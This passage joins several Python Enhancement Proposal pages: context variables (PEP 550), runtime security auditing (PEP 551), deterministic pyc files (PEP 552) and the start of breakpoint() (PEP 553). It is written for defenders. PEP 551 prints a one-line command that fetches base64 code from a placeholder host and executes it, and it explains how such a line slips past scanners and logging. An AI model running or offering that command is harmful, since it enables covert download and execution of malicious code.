proposes an alternative solution to the problem, which extends the context manager protocol with two new methods: __suspend__() and __resume__(). Similarly, the asynchronous context manager protocol is also extended with __asuspend__() and __aresume__(). This allows implementing context managers that manage non-local state, which behave correctly in generators and coroutines. For example, consider the following context manager, which uses execution state: class Context: def __init__(self): self.var = contextvars.ContextVar('var') def __enter__(self): self.old_x = self.var.get() self.var.set('something') def __exit__(self, *err): self.var.set(self.old_x) An equivalent implementation with PEP 521: local = threading.local() class Context: def __enter__(self): self.old_x = getattr(local, 'x', None) local.x = 'something' def __suspend__(self): local.x = self.old_x def __resume__(self): local.x = 'something' def __exit__(self, *err): local.x = self.old_x The downside of this approach is the addition of significant new complexity to the context manager protocol and the interpreter implementation. This approach is also likely to negatively impact the performance of generators and coroutines. Additionally, the solution in PEP 521 is limited to context managers, and does not provide any mechanism to propagate state in asynchronous tasks and callbacks. Can Execution Context be implemented without modifying CPython? No. It is true that the concept of “task-locals” can be implemented for coroutines in libraries (see, for example, [29] and [30]). On the other hand, generators are managed by the Python interpreter directly, and so their context must also be managed by the interpreter. Furthermore, execution context cannot be implemented in a third-party module at all, otherwise the standard library, including decimal would not be able to rely on it. Should we update sys.displayhook and other APIs to use EC? APIs like redirecting stdout by overwriting sys.stdout, or specifying new exception display hooks by overwriting the sys.displayhook function are affecting the whole Python process by design. Their users assume that the effect of changing them will be visible across OS threads. Therefore, we cannot just make these APIs to use the new Execution Context. That said we think it is possible to design new APIs that will be context aware, but that is outside of the scope of this PEP. Greenlets Greenlet is an alternative implementation of cooperative scheduling for Python. Although greenlet package is not part of CPython, popular frameworks like gevent rely on it, and it is important that greenlet can be modified to support execution contexts. Conceptually, the behaviour of greenlets is very similar to that of generators, which means that similar changes around greenlet entry and exit can be done to add support for execution context. This PEP provides the necessary C APIs to do that. Context manager as the interface for modifications This PEP concentrates on the low-level mechanics and the minimal API that enables fundamental operations with execution context. For developer convenience, a high-level context manager interface may be added to the contextvars module. For example: with contextvars.set_var(var, 'foo'): # ... Setting and restoring context variables The ContextVar.delete() method removes the context variable from the topmost logical context. If the variable is not found in the topmost logical context, a LookupError is raised, similarly to del var raising NameError when var is not in scope. This method is useful when there is a (rare) need to correctly restore the state of a logical context, such as when a nested generator wants to modify the logical context temporarily: var = contextvars.ContextVar('var') def gen(): with some_var_context_manager('gen'): # EC = [{var: 'main'}, {var: 'gen'}] assert var.get() == 'gen' yield # EC = [{var: 'main modified'}, {}] assert var.get() == 'main modified' yield def main(): var.set('main') g = gen() next(g) var.set('main modified') next(g) The above example would work correctly only if there is a way to delete var from the logical context in gen(). Setting it to a “previous value” in __exit__() would mask changes made in main() between the iterations. Alternative Designs for ContextVar API Logical Context with stacked values By the design presented in this PEP, logical context is a simple LC({ContextVar: value, ...}) mapping. An alternative representation is to store a stack of values for each context variable: LC({ContextVar: [val1, val2, ...], ...}). The ContextVar methods would then be: get(*, default=None) – traverses the stack of logical contexts, and returns the top value from the first non-empty logical context; push(val) – pushes val onto the stack of values in the current logical context; pop() – pops the top value from the stack of values in the current logical context. Compared to the single-value design with the set() and delete() methods, the stack-based approach allows for a simpler implementation of the set/restore pattern. However, the mental burden of this approach is considered to be higher, since there would be two stacks to consider: a stack of LCs and a stack of values in each LC. (This idea was suggested by Nathaniel Smith.) ContextVar “set/reset” Yet another approach is to return a special object from ContextVar.set(), which would represent the modification of the context variable in the current logical context: var = contextvars.ContextVar('var') def foo(): mod = var.set('spam') # ... perform work mod.reset() # Reset the value of var to the original value # or remove it from the context. The critical flaw in this approach is that it becomes possible to pass context var “modification objects” into code running in a different execution context, which leads to undefined side effects. Backwards Compatibility This proposal preserves 100% backwards compatibility. Rejected Ideas Replication of threading.local() interface Choosing the threading.local()-like interface for context variables was considered and rejected for the following reasons: A survey of the standard library and Django has shown that the vast majority of threading.local() uses involve a single attribute, which indicates that the namespace approach is not as helpful in the field. Using __getattr__() instead of .get() for value lookup does not provide any way to specify the depth of the lookup (i.e. search only the top logical context). Single-value ContextVar is easier to reason about in terms of visibility. Suppose ContextVar() is a namespace, and the consider the following:ns = contextvars.ContextVar('ns') def gen(): ns.a = 2 yield assert ns.b == 'bar' # ?? def main(): ns.a = 1 ns.b = 'foo' g = gen() next(g) # should not see the ns.a modification in gen() assert ns.a == 1 # but should gen() see the ns.b modification made here? ns.b = 'bar' yield The above example demonstrates that reasoning about the visibility of different attributes of the same context var is not trivial. Single-value ContextVar allows straightforward implementation of the lookup cache; Single-value ContextVar interface allows the C-API to be simple and essentially the same as the Python API. See also the mailing list discussion: [26], [27]. Coroutines not leaking context changes by default In V4 (Version History) of this PEP, coroutines were considered to behave exactly like generators with respect to the execution context: changes in awaited coroutines were not visible in the outer coroutine. This idea was rejected on the grounds that is breaks the semantic similarity of the task and thread models, and, more specifically, makes it impossible to reliably implement asynchronous context managers that modify context vars, since __aenter__ is a coroutine. Appendix: HAMT Performance Analysis Figure 1. Benchmark code can be found here: [9]. The above chart demonstrates that: HAMT displays near O(1) performance for all benchmarked dictionary sizes. dict.copy() becomes very slow around 100 items. Figure 2. Benchmark code can be found here: [10]. Figure 2 compares the lookup costs of dict versus a HAMT-based immutable mapping. HAMT lookup time is 30-40% slower than Python dict lookups on average, which is a very good result, considering that the latter is very well optimized. There is research [8] showing that there are further possible improvements to the performance of HAMT. The reference implementation of HAMT for CPython can be found here: [7]. Acknowledgments Thanks to Victor Petrovykh for countless discussions around the topic and PEP proofreading and edits. Thanks to Nathaniel Smith for proposing the ContextVar design [17] [18], for pushing the PEP towards a more complete design, and coming up with the idea of having a stack of contexts in the thread state. Thanks to Alyssa (Nick) Coghlan for numerous suggestions and ideas on the mailing list, and for coming up with a case that cause the complete rewrite of the initial PEP version [19]. Version History Initial revision, posted on 11-Aug-2017 [20]. V2 posted on 15-Aug-2017 [21].The fundamental limitation that caused a complete redesign of the first version was that it was not possible to implement an iterator that would interact with the EC in the same way as generators (see [19].) Version 2 was a complete rewrite, introducing new terminology (Local Context, Execution Context, Context Item) and new APIs. V3 posted on 18-Aug-2017 [22].Updates: Local Context was renamed to Logical Context. The term “local” was ambiguous and conflicted with local name scopes. Context Item was renamed to Context Key, see the thread with Alyssa Coghlan, Stefan Krah, and Yury Selivanov [23] for details. Context Item get cache design was adjusted, per Nathaniel Smith’s idea in [25]. Coroutines are created without a Logical Context; ceval loop no longer needs to special case the await expression (proposed by Alyssa Coghlan in [24].) V4 posted on 25-Aug-2017 [31]. The specification section has been completely rewritten. Coroutines now have their own Logical Context. This means there is no difference between coroutines, generators, and asynchronous generators w.r.t. interaction with the Execution Context. Context Key renamed to Context Var. Removed the distinction between generators and coroutines with respect to logical context isolation. V5 posted on 01-Sep-2017: the current version. Coroutines have no logical context by default (a revert to the V3 semantics). Read about the motivation in the Coroutines not leaking context changes by default section.The High-Level Specification section was also updated (specifically Generators and Coroutines subsections). All APIs have been placed to the contextvars module, and the factory functions were changed to class constructors (ContextVar, ExecutionContext, and LogicalContext). Thanks to Alyssa for the idea [33]. ContextVar.lookup() got renamed back to ContextVar.get() and gained the topmost and default keyword arguments. Added ContextVar.delete().See Guido’s comment in [32]. New ExecutionContext.vars() method. Read about it in the Enumerating context vars section. Fixed ContextVar.get() cache bug (thanks Nathaniel!). New Rejected Ideas, Should “yield from” leak context changes?, Alternative Designs for ContextVar API, Setting and restoring context variables, and Context manager as the interface for modifications sections. References [1] https://go.dev/blog/context [2] https://docs.microsoft.com/en-us/dotnet/api/system.threading.executioncontext [3] https://github.com/numpy/numpy/issues/9444 [5] https://en.wikipedia.org/wiki/Hash_array_mapped_trie [6] https://blog.higher-order.net/2010/08/16/assoc-and-clojures-persistenthashmap-part-ii.html [7] https://github.com/1st1/cpython/tree/hamt [8] https://michael.steindorfer.name/publications/oopsla15.pdf [9] https://gist.github.com/1st1/9004813d5576c96529527d44c5457dcd [10] https://gist.github.com/1st1/dbe27f2e14c30cce6f0b5fddfc8c437e [17] https://mail.python.org/pipermail/python-ideas/2017-August/046752.html [18] https://mail.python.org/pipermail/python-ideas/2017-August/046772.html [19] (1, 2) https://mail.python.org/pipermail/python-ideas/2017-August/046775.html [20] https://github.com/python/peps/blob/e8a06c9a790f39451d9e99e203b13b3ad73a1d01/pep-0550.rst [21] https://github.com/python/peps/blob/e3aa3b2b4e4e9967d28a10827eed1e9e5960c175/pep-0550.rst [22] https://github.com/python/peps/blob/287ed87bb475a7da657f950b353c71c1248f67e7/pep-0550.rst [23] https://mail.python.org/pipermail/python-ideas/2017-August/046801.html [24] https://mail.python.org/pipermail/python-ideas/2017-August/046790.html [25] https://mail.python.org/pipermail/python-ideas/2017-August/046786.html [26] https://mail.python.org/pipermail/python-ideas/2017-August/046888.html [27] https://mail.python.org/pipermail/python-ideas/2017-August/046889.html [28] https://docs.python.org/3/library/decimal.html#decimal.Context.abs [29] https://web.archive.org/web/20170706074739/https://curio.readthedocs.io/en/latest/reference.html#task-local-storage [30] https://docs.atlassian.com/aiolocals/latest/usage.html [31] https://github.com/python/peps/blob/1b8728ded7cde9df0f9a24268574907fafec6d5e/pep-0550.rst [32] https://mail.python.org/pipermail/python-dev/2017-August/149020.html [33] https://mail.python.org/pipermail/python-dev/2017-August/149043.html Copyright This document has been placed in the public domain.

Withdrawn

PEP 550 – Execution Context

Standards Track

This PEP adds a new generic mechanism of ensuring consistent access to non-local state in the context of out-of-order execution, such as in Python generators and coroutines.

PEP 551 – Security transparency in the Python runtime Author: Steve Dower <steve.dower at python.org> Status: Withdrawn Type: Informational Created: 23-Aug-2017 Python-Version: 3.7 Post-History: 24-Aug-2017, 28-Aug-2017 Table of Contents Relationship to PEP 578 Abstract Background Summary Recommendations Restricting the Entry Point General Recommendations Things not to do Further Reading References Acknowledgments Copyright Note This PEP has been withdrawn. For information about integrated CPython into a secure environment, we recommend consulting your own security experts. Relationship to PEP 578 This PEP has been split into two since its original posting. See PEP 578 for the auditing APIs proposed for addition to the next version of Python. This is now an informational PEP, providing guidance to those planning to integrate Python into their secure or audited environments. Abstract This PEP describes the concept of security transparency and how it applies to the Python runtime. Visibility into actions taken by the runtime is invaluable in integrating Python into an otherwise secure and/or monitored environment. The audit hooks described in PEP 578 are an essential component in detecting, identifying and analyzing misuse of Python. While the hooks themselves are neutral (in that not every reported event is inherently misuse), they provide essential context to those who are responsible for monitoring an overall system or network. With enough transparency, attackers are no longer able to hide. Background Software vulnerabilities are generally seen as bugs that enable remote or elevated code execution. However, in our modern connected world, the more dangerous vulnerabilities are those that enable advanced persistent threats (APTs). APTs are achieved when an attacker is able to penetrate a network, establish their software on one or more machines, and over time extract data or intelligence. Some APTs may make themselves known by maliciously damaging data (e.g., WannaCrypt) or hardware (e.g., Stuxnet). Most attempt to hide their existence and avoid detection. APTs often use a combination of traditional vulnerabilities, social engineering, phishing (or spear-phishing), thorough network analysis, and an understanding of misconfigured environments to establish themselves and do their work. The first infected machines may not be the final target and may not require special privileges. For example, an APT that is established as a non-administrative user on a developer’s machine may have the ability to spread to production machines through normal deployment channels. It is common for APTs to persist on as many machines as possible, with sheer weight of presence making them difficult to remove completely. Whether an attacker is seeking to cause direct harm or hide their tracks, the biggest barrier to detection is a lack of insight. System administrators with large networks rely on distributed logs to understand what their machines are doing, but logs are often filtered to show only error conditions. APTs that are attempting to avoid detection will rarely generate errors or abnormal events. Reviewing normal operation logs involves a significant amount of effort, though work is underway by a number of companies to enable automatic anomaly detection within operational logs. The tools preferred by attackers are ones that are already installed on the target machines, since log messages from these tools are often expected and ignored in normal use. At this point, we are not going to spend further time discussing the existence of APTs or methods and mitigations that do not apply to this PEP. For further information about the field, we recommend reading or watching the resources listed under Further Reading. Python is a particularly interesting tool for attackers due to its prevalence on server and developer machines, its ability to execute arbitrary code provided as data (as opposed to native binaries), and its complete lack of internal auditing. This allows attackers to download, decrypt, and execute malicious code with a single command: python -c "import urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen('http://my-exploit/py.b64') ).decode())" This command currently bypasses most anti-malware scanners that rely on recognizable code being read through a network connection or being written to disk (base64 is often sufficient to bypass these checks). It also bypasses protections such as file access control lists or permissions (no file access occurs), approved application lists (assuming Python has been approved for other uses), and automated auditing or logging (assuming Python is allowed to access the internet or access another machine on the local network from which to obtain its payload). General consensus among the security community is that totally preventing attacks is infeasible and defenders should assume that they will often detect attacks only after they have succeeded. This is known as the “assume breach” mindset. [1] In this scenario, protections such as sandboxing and input validation have already failed, and the important task is detection, tracking, and eventual removal of the malicious code. To this end, the primary feature required from Python is security transparency: the ability to see what operations the Python runtime is performing that may indicate anomalous or malicious use. Preventing such use is valuable, but secondary to the need to know that it is occurring. To summarise the goals in order of increasing importance: preventing malicious use is valuable detecting malicious use is important detecting attempts to bypass detection is critical One example of a scripting engine that has addressed these challenges is PowerShell, which has recently been enhanced towards similar goals of transparency and prevention. [2] Generally, application and system configuration will determine which events within a scripting engine are worth logging. However, given the value of many logs events are not recognized until after an attack is detected, it is important to capture as much as possible and filter views rather than filtering at the source (see the No Easy Breach video from Further Reading). Events that are always of interest include attempts to bypass auditing, attempts to load and execute code that is not correctly signed or access-controlled, use of uncommon operating system functionality such as debugging or inter-process inspection tools, most network access and DNS resolution, and attempts to create and hide files or configuration settings on the local machine. To summarize, defenders have a need to audit specific uses of Python in order to detect abnormal or malicious usage. With PEP 578, the Python runtime gains the ability to provide this. The aim of this PEP is to assist system administrators with deploying a security transparent version of Python that can integrate with their existing auditing and protection systems. On Windows, some specific features that may be integrated through the hooks added by PEP 578 include: Script Block Logging [3] DeviceGuard [4] AMSI [5] Persistent Zone Identifiers [6] Event tracing (which includes event forwarding) [7] On Linux, some specific features that may be integrated are: gnupg [8] sd_journal [9] OpenBSM [10] syslog [11] auditd [12] SELinux labels [13] check execute bit on imported modules On macOS, some features that may be integrated are: OpenBSM [10] syslog [11] Overall, the ability to enable these platform-specific features on production machines is highly appealing to system administrators and will make Python a more trustworthy dependency for application developers. True security transparency is not fully achievable by Python in isolation. The runtime can audit as many events as it likes, but unless the logs are reviewed and analyzed there is no value. Python may impose restrictions in the name of security, but usability may suffer. Different platforms and environments will require different implementations of certain security features, and organizations with the resources to fully customize their runtime should be encouraged to do so. Summary Recommendations These are discussed in greater detail in later sections, but are presented here to frame the overall discussion. Sysadmins should provide and use an alternate entry point (besides python.exe or pythonX.Y) in order to reduce surface area and securely enable audit hooks. A discussion of what could be restricted is below in Restricting the Entry Point. Sysadmins should use all available measures provided by their operating system to prevent modifications to their Python installation, such as file permissions, access control lists and signature validation. Sysadmins should log everything and collect logs to a central location as quickly as possible - avoid keeping logs on outer-ring machines. Sysadmins should prioritize _detection_ of misuse over _prevention_ of misuse. Restricting the Entry Point One of the primary vulnerabilities exposed by the presence of Python on a machine is the ability to execute arbitrary code without detection or verification by the system. This is made significantly easier because the default entry point (python.exe on Windows and pythonX.Y on other platforms) allows execution from the command line, from standard input, and does not have any hooks enabled by default. Our recommendation is that production machines should use a modified entry point instead of the default. Once outside of the development environment, there is rarely a need for the flexibility offered by the default entry point. In this section, we describe a hypothetical spython entry point (spython.exe on Windows; spythonX.Y on other platforms) that provides a level of security transparency recommended for production machines. An associated example implementation shows many of the features described here, though with a number of concessions for the sake of avoiding platform-specific code. A sufficient implementation will inherently require some integration with platform-specific security features. Official distributions will not include any spython by default, but third party distributions may include appropriately modified entry points that use the same name. Remove most command-line arguments The spython entry point requires a script file be passed as the first argument, and does not allow any options to precede it. This prevents arbitrary code execution from in-memory data or non-script files (such as pickles, which could be executed using -m pickle <path>. Options -B (do not write bytecode), -E (ignore environment variables) and -s (no user site) are assumed. If a file with the same full path as the process with a ._pth suffix (spython._pth on Windows, spythonX.Y._pth on Linux) exists, it will be used to initialize sys.path following the rules currently described for Windows. For the sake of demonstration, the example implementation of spython also allows the -i option to start in interactive mode. This is not recommended for restricted entry points. Log audited events Before initialization, spython sets an audit hook that writes all audited events to an OS-managed log file. On Windows, this is the Event Tracing functionality,[7]_ and on other platforms they go to syslog.[11]_ Logs are copied from the machine as frequently as possible to prevent loss of information should an attacker attempt to clear local logs or prevent legitimate access to the machine. The audit hook will also abort all sys.addaudithook events, preventing any other hooks from being added. The logging hook is written in native code and configured before the interpreter is initialized. This is the only opportunity to ensure that no Python code executes without auditing, and that Python code cannot prevent registration of the hook. Our primary aim is to record all actions taken by all Python processes, so that detection may be performed offline against logged events. Having all events recorded also allows for deeper analysis and the use of machine learning algorithms. These are useful for detecting persistent attacks, where the attacker is intending to remain within the protected machines for some period of time, as well as for later analysis to determine the impact and exposure caused by a successful attack. The example implementation of spython writes to a log file on the local machine, for the sake of demonstration. When started with -i, the example implementation writes all audit events to standard error instead of the log file. The SPYTHONLOG environment variable can be used to specify the log file location. Restrict importable modules Also before initialization, spython sets an open-for-import hook that validates all files opened with os.open_for_import. This implementation requires all files to have a .py suffix (preventing the use of cached bytecode), and will raise a custom audit event spython.open_for_import containing (filename, True_if_allowed). After opening the file, the entire contents is read into memory in a single buffer and the file is closed. Compilation will later trigger a compile event, so there is no need to validate the contents now using mechanisms that also apply to dynamically generated code. However, if a whitelist of source files or file hashes is available, then other validation mechanisms such as DeviceGuard [4] should be performed here. Restrict globals in pickles The spython entry point will abort all pickle.find_class events that use the default implementation. Overrides will not raise audit events unless explicitly added, and so they will continue to be allowed. Prevent os.system The spython entry point aborts all os.system calls. It should be noted here that subprocess.Popen(shell=True) is allowed (though logged via the platform-specific process creation events). This tradeoff is made because it is much simpler to induce a running application to call os.system with a single string argument than a function with multiple arguments, and so it is more likely to be used as part of an exploit. There is also little justification for using os.system in production code, while subprocess.Popen has a large number of legitimate uses. Though logs indicating the use of the shell=True argument should be more carefully scrutinised. Sysadmins are encouraged to make these kinds of tradeoffs between restriction and detection, and generally should prefer detection. General Recommendations Recommendations beyond those suggested in the previous section are difficult, as the ideal configuration for any environment depends on the sysadmin’s ability to manage, monitor, and respond to activity on their own network. Nonetheless, here we attempt to provide some context and guidance for integrating Python into a complete system. This section provides recommendations using the terms should (or should not), indicating that we consider it risky to ignore the advice, and may, indicating that for the advice ought to be considered for high value systems. The term sysadmin refers to whoever is responsible for deploying Python throughout the network; different organizations may have an alternative title for the responsible people. Sysadmins should build their own entry point, likely starting from the spython source, and directly interface with the security systems available in their environment. The more tightly integrated, the less likely a vulnerability will be found allowing an attacker to bypass those systems. In particular, the entry point should not obtain any settings from the current environment, such as environment variables, unless those settings are otherwise protected from modification. Audit messages should not be written to a local file. The spython entry point does this for example and testing purposes. On production machines, tools such as ETW [7] or auditd [12] that are intended for this purpose should be used. The default python entry point should not be deployed to production machines, but could be given to developers to use and test Python on non-production machines. Sysadmins may consider deploying a less restrictive version of their entry point to developer machines, since any system connected to your network is a potential target. Sysadmins may deploy their own entry point as python to obscure the fact that extra auditing is being included. Python deployments should be made read-only using any available platform functionality after deployment and during use. On platforms that support it, sysadmins should include signatures for every file in a Python deployment, ideally verified using a private certificate. For example, Windows supports embedding signatures in executable files and using catalogs for others, and can use DeviceGuard [4] to validate signatures either automatically or using an open_for_import hook. Sysadmins should log as many audited events as possible, and should copy logs off of local machines frequently. Even if logs are not being constantly monitored for suspicious activity, once an attack is detected it is too late to enable auditing. Audit hooks should not attempt to preemptively filter events, as even benign events are useful when analyzing the progress of an attack. (Watch the “No Easy Breach” video under Further Reading for a deeper look at this side of things.) Most actions should not be aborted if they could ever occur during normal use or if preventing them will encourage attackers to work around them. As described earlier, awareness is a higher priority than prevention. Sysadmins may audit their Python code and abort operations that are known to never be used deliberately. Audit hooks should write events to logs before attempting to abort. As discussed earlier, it is more important to record malicious actions than to prevent them. Sysadmins should identify correlations between events, as a change to correlated events may indicate misuse. For example, module imports will typically trigger the import auditing event, followed by an open_for_import call and usually a compile event. Attempts to bypass auditing will often suppress some but not all of these events. So if the log contains import events but not compile events, investigation may be necessary. The first audit hook should be set in C code before Py_Initialize is called, and that hook should unconditionally abort the sys.addloghook event. The Python interface is primarily intended for testing and development. To prevent audit hooks being added on non-production machines, an entry point may add an audit hook that aborts the sys.addloghook event but otherwise does nothing. On production machines, a non-validating open_for_import hook may be set in C code before Py_Initialize is called. This prevents later code from overriding the hook, however, logging the setopenforexecutehandler event is useful since no code should ever need to call it. Using at least the sample open_for_import hook implementation from spython is recommended. Since importlib’s use of open_for_import may be easily bypassed with monkeypatching, an audit hook should be used to detect attribute changes on type objects. Things not to do This section discusses common or “obviously good” recommendations that we are specifically not making. These range from useless or incorrect through to ideas that are simply not feasible in any real world environment. Do not attempt to implement a sandbox within the Python runtime. There is a long history of attempts to allow arbitrary code limited use of Python features (such as [14]), but no general success. The best options are to run unrestricted Python within a sandboxed environment with at least hypervisor-level isolation, or to prevent unauthorised code from starting at all. Do not rely on static analysis to verify untrusted code before use. The best options are to pre-authorise trusted code, such as with code signing, and if not possible to identify known-bad code, such as with an anti-malware scanner. Do not use audit hooks to abort operations without logging the event first. You will regret not knowing why your process disappeared. [TODO - more bad advice] Further Reading Redefining Malware: When Old Terms Pose New ThreatsBy Aviv Raff for SecurityWeek, 29th January 2014This article, and those linked by it, are high-level summaries of the rise of APTs and the differences from “traditional” malware. http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats Anatomy of a Cyber AttackBy FireEye, accessed 23rd August 2017A summary of the techniques used by APTs, and links to a number of relevant whitepapers. https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html Automated Traffic Log Analysis: A Must Have for Advanced Threat ProtectionBy Aviv Raff for SecurityWeek, 8th May 2014High-level summary of the value of detailed logging and automatic analysis. http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection No Easy Breach: Challenges and Lessons Learned from an Epic InvestigationVideo presented by Matt Dunwoody and Nick Carr for Mandiant at SchmooCon 2016Detailed walkthrough of the processes and tools used in detecting and removing an APT. https://archive.org/details/No_Easy_Breach Disrupting Nation State HackersVideo presented by Rob Joyce for the NSA at USENIX Enigma 2016Good security practices, capabilities and recommendations from the chief of NSA’s Tailored Access Operation. https://www.youtube.com/watch?v=bDJb8WOJYdA References [1] Assume Breach Mindset, http://asian-power.com/node/11144 [2] PowerShell Loves the Blue Team, also known as Scripting Security and Protection Advances in Windows 10, https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/ [3] https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html [4] (1, 2, 3) https://aka.ms/deviceguard [5] Antimalware Scan Interface, https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx [6] Persistent Zone Identifiers, https://msdn.microsoft.com/en-us/library/ms537021(v=vs.85).aspx [7] (1, 2) Event tracing, https://msdn.microsoft.com/en-us/library/aa363668(v=vs.85).aspx [8] https://www.gnupg.org/ [9] https://www.systutorials.com/docs/linux/man/3-sd_journal_send/ [10] (1, 2) http://www.trustedbsd.org/openbsm.html [11] (1, 2) https://linux.die.net/man/3/syslog [12] (1, 2) http://security.blogoverflow.com/2013/01/a-brief-introduction-to-auditd/ [13] SELinux access decisions http://man7.org/linux/man-pages/man3/avc_entry_ref_init.3.html [14] The failure of pysandbox https://lwn.net/Articles/574215/ Acknowledgments Thanks to all the people from Microsoft involved in helping make the Python runtime safer for production use, and especially to James Powell for doing much of the initial research, analysis and implementation, Lee Holmes for invaluable insights into the info-sec field and PowerShell’s responses, and Brett Cannon for the restraining and grounding discussions. Copyright Copyright (c) 2017-2018 by Microsoft Corporation. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.0 or later (the latest version is presently available at http://www.opencontent.org/openpub/).

Withdrawn

PEP 551 – Security transparency in the Python runtime

Informational

This PEP describes the concept of security transparency and how it applies to the Python runtime. Visibility into actions taken by the runtime is invaluable in integrating Python into an otherwise secure and/or monitored environment.

PEP 552 – Deterministic pycs Author: Benjamin Peterson <benjamin at python.org> Status: Final Type: Standards Track Created: 04-Sep-2017 Python-Version: 3.7 Post-History: 07-Sep-2017 Resolution: Python-Dev message Table of Contents Abstract Rationale Specification References Credits Copyright Abstract This PEP proposes an extension to the pyc format to make it more deterministic. Rationale A reproducible build is one where the same byte-for-byte output is generated every time the same sources are built—even across different machines (naturally subject to the requirement that they have rather similar environments set up). Reproducibility is important for security. It is also a key concept in content-based build systems such as Bazel, which are most effective when the output files’ contents are a deterministic function of the input files’ contents. The current Python pyc format is the marshaled code object of the module prefixed by a magic number, the source timestamp, and the source file size. The presence of a source timestamp means that a pyc is not a deterministic function of the input file’s contents—it also depends on volatile metadata, the mtime of the source. Thus, pycs are a barrier to proper reproducibility. Distributors of Python code are currently stuck with the options of not distributing pycs and losing the caching advantages distributing pycs and losing reproducibility carefully giving all Python source files a deterministic timestamp (see, for example, https://github.com/python/cpython/pull/296) doing a complicated mixture of 1. and 2. like generating pycs at installation time None of these options are very attractive. This PEP proposes allowing the timestamp to be replaced with a deterministic hash. The current timestamp invalidation method will remain the default, though. Despite its nondeterminism, timestamp invalidation works well for many workflows and usecases. The hash-based pyc format can impose the cost of reading and hashing every source file, which is more expensive than simply checking timestamps. Thus, for now, we expect it to be used mainly by distributors and power use cases. (Note there are other problems [1] [2] we do not address here that can make pycs non-deterministic.) Specification The pyc header currently consists of 3 32-bit words. We will expand it to 4. The first word will continue to be the magic number, versioning the bytecode and pyc format. The second word, conceptually the new word, will be a bit field. The interpretation of the rest of the header and invalidation behavior of the pyc depends on the contents of the bit field. If the bit field is 0, the pyc is a traditional timestamp-based pyc. I.e., the third and forth words will be the timestamp and file size respectively, and invalidation will be done by comparing the metadata of the source file with that in the header. If the lowest bit of the bit field is set, the pyc is a hash-based pyc. We call the second lowest bit the check_source flag. Following the bit field is a 64-bit hash of the source file. We will use a SipHash with a hardcoded key of the contents of the source file. Another fast hash like MD5 or BLAKE2 would also work. We choose SipHash because Python already has a builtin implementation of it from PEP 456, although an interface that allows picking the SipHash key must be exposed to Python. Security of the hash is not a concern, though we pass over completely-broken hashes like MD5 to ease auditing of Python in controlled environments. When Python encounters a hash-based pyc, its behavior depends on the setting of the check_source flag. If the check_source flag is set, Python will determine the validity of the pyc by hashing the source file and comparing the hash with the expected hash in the pyc. If the pyc needs to be regenerated, it will be regenerated as a hash-based pyc again with the check_source flag set. For hash-based pycs with the check_source unset, Python will simply load the pyc without checking the hash of the source file. The expectation in this case is that some external system (e.g., the local Linux distribution’s package manager) is responsible for keeping pycs up to date, so Python itself doesn’t have to check. Even when validation is disabled, the hash field should be set correctly, so out-of-band consistency checkers can verify the up-to-dateness of the pyc. Note also that the PEP 3147 edict that pycs without corresponding source files not be loaded will still be enforced for hash-based pycs. The programmatic APIs of py_compile and compileall will support generation of hash-based pycs. Principally, py_compile will define a new enumeration corresponding to all the available pyc invalidation modules: class PycInvalidationMode(Enum): TIMESTAMP CHECKED_HASH UNCHECKED_HASH py_compile.compile, compileall.compile_dir, and compileall.compile_file will all gain an invalidation_mode parameter, which accepts a value of the PycInvalidationMode enumeration. The compileall tool will be extended with a command new option, --invalidation-mode to generate hash-based pycs with and without the check_source bit set. --invalidation-mode will be a tristate option taking values timestamp (the default), checked-hash, and unchecked-hash corresponding to the values of PycInvalidationMode. importlib.util will be extended with a source_hash(source) function that computes the hash used by the pyc writing code for a bytestring source. Runtime configuration of hash-based pyc invalidation will be facilitated by a new --check-hash-based-pycs interpreter option. This is a tristate option, which may take 3 values: default, always, and never. The default value, default, means the check_source flag in hash-based pycs determines invalidation as described above. always causes the interpreter to hash the source file for invalidation regardless of value of check_source bit. never causes the interpreter to always assume hash-based pycs are valid. When --check-hash-based-pycs=never is in effect, unchecked hash-based pycs will be regenerated as unchecked hash-based pycs. Timestamp-based pycs are unaffected by --check-hash-based-pycs. References [1] http://benno.id.au/blog/2013/01/15/python-determinism [2] http://bugzilla.opensuse.org/show_bug.cgi?id=1049186 Credits The author would like to thank Gregory P. Smith, Christian Heimes, and Steve Dower for useful conversations on the topic of this PEP. Copyright This document has been placed in the public domain.

Final

PEP 552 – Deterministic pycs

Standards Track

This PEP proposes an extension to the pyc format to make it more deterministic.

PEP 553 – Built-in breakpoint() Author: Barry Warsaw <barry at python.org> Status: Final Type: Standards Track Created: 05-Sep-2017 Python-Version: 3.7 Post-History: 05-Sep-2017, 07-Sep-2017, 13-Sep-2017 Resolution: Python-Dev message Table of Contents Abstract Rationale Proposal Environment variable Implementation Rejected alternatives A new keyword sys.breakpoint() Version History References Copyright Abstract This PEP proposes adding a new built-in function called breakpoint() which enters a Python debugger at the point of the call. Additionally, two new names are added to the sys module to make the choice of which debugger is entered configurable. Rationale Python has long had a great debugger in its standard library called pdb. Setting a break point is commonly written like this: foo() import pdb; pdb.set_trace() bar() Thus after executing foo() and before executing bar(), Python will enter the debugger. However this idiom has several disadvantages. It’s a lot to type (27 characters). It’s easy to typo. The PEP author often mistypes this line, e.g. omitting the semicolon, or typing a dot instead of an underscore. It ties debugging directly to the choice of pdb. There might be other debugging options, say if you’re using an IDE or some other development environment. Python linters (e.g. flake8 [linters]) complain about this line because it contains two statements. Breaking the idiom up into two lines complicates its use because there are more opportunities for mistakes at clean up time. I.e. you might forget to delete one of those lines when you no longer need to debug the code. Python developers also have many other debuggers to choose from, but remembering how to invoke them can be problematic. For example, even when IDEs have user interface for setting breakpoints, it may still be more convenient to just edit the code. The APIs for entering the debugger programmatically are inconsistent, so it can be difficult to remember exactly what to type. We can solve all these problems by providing a universal API for entering the debugger, as proposed in this PEP. Proposal The JavaScript language provides a debugger statement [js-debugger] which enters the debugger at the point where the statement appears. This PEP proposes a new built-in function called breakpoint() which enters a Python debugger at the call site. Thus the example above would be written like so: foo() breakpoint() bar() Further, this PEP proposes two new name bindings for the sys module, called sys.breakpointhook() and sys.__breakpointhook__. By default, sys.breakpointhook() implements the actual importing and entry into pdb.set_trace(), and it can be set to a different function to change the debugger that breakpoint() enters. sys.__breakpointhook__ is initialized to the same function as 